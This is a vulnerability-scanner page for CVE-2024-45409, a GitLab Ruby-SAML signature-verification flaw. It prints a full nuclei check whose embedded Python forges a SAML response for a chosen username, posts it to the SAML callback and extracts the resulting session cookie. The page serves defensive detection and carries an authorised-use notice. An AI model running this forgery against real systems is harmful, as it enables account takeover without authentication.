Browse / CVEs / CVE-2024-45409
CVE-2024-45409· gitlab / gitlab· CWE-347
GitLab - SAML Authentication Bypass
criticalseverity
9.8CVSS score
12.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
Impact
An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
Fix
This vulnerability is fixed in 1.17.0 and 1.12.3.
How to confirm it
Send: POST /users/auth/saml/callback
Positive when: contains(header,"known_sign_in") and status_code == 302Run it with nuclei: nuclei -id CVE-2024-45409 -u <target>
The full check
id: CVE-2024-45409
info:
name: GitLab - SAML Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
impact: |
An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
remediation: |
This vulnerability is fixed in 1.17.0 and 1.12.3.
reference:
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
- https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.12454
epss-percentile: 0.96249
metadata:
verified: true
shodan-query: http.title:"GitLab"
product: gitlab
vendor: gitlab
tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
try:
from lxml import etree
except ImportError:
raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
import hashlib,os
import base64
from datetime import datetime, timedelta
import urllib.parse
import requests
username = os.getenv('username')
if not username:
username='[email protected]'
saml_response = os.getenv('SAMLResponse')
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)
namespaces = {
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
response_signature = root.find('./ds:Signature', namespaces)
if response_signature is not None:
root.remove(response_signature)
nameid = root.find(
'.//saml:NameID',
namespaces
)
if nameid is not None:
nameid.text = username
attribute_values = root.findall('.//saml:AttributeValue', namespaces)
for attr_value in attribute_values:
attr_value.text = username
assertion = root.find('.//saml:Assertion', namespaces)
if assertion is not None:
# Create a deep copy of the assertion for digest calculation
assertion_copy = etree.fromstring(etree.tostring(assertion))
signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
if signature_in_assertion is not None:
signature_in_assertion.getparent().remove(signature_in_assertion)
canonicalized_assertion = etree.tostring(
assertion_copy, method='c14n', exclusive=True, with_comments=False
)
digest = hashlib.sha256(canonicalized_assertion).digest()
digest_value = base64.b64encode(digest).decode()
else:
digest_value = ''
issuer = root.find('.//saml:Issuer', namespaces)
if issuer is not None:
parent = issuer.getparent()
index = parent.index(issuer)
extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
digest_element = etree.SubElement(
extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
)
digest_element.text = digest_value
parent.insert(index + 1, extensions)
malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
))))
print(malformed_samlresponse)
http:
- raw:
- |
POST /users/auth/saml/callback HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers:
- type: dsl
dsl:
- 'contains(header,"known_sign_in")'
- 'status_code == 302'
condition: and
extractors:
- type: kval
kval:
- _gitlab_sessionReferences
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
- https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
Use this check only on systems you are authorised to test. Where the data comes from